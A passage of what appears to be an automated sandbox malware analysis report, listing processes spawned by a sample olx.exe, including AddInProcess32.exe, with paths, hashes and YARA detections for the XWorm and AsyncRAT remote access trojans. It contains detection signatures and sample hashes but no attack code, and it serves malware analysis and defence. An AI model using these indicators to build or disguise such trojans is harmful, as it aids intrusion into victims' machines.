Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	24
Start time:	09:53:24
Start date:	06/12/2024
Path:	C:\recover\olx.exe
Wow64 process (32bit):	false
Commandline:	"C:\recover\olx.exe"
Imagebase:	0x7ff7769c0000
File size:	40'432 bytes
MD5 hash:	8AEE66FE642D154F32E5AFF380DA188B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000018.00000002.1949998367.00000239EF437000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Target ID:	25
Start time:	09:53:24
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	26
Start time:	09:53:24
Start date:	06/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xd60000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000001A.00000002.1948096979.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Target ID:	28
Start time:	09:53:25
Start date:	06/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4476 -s 548
Imagebase:	0x7ff6fa230000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true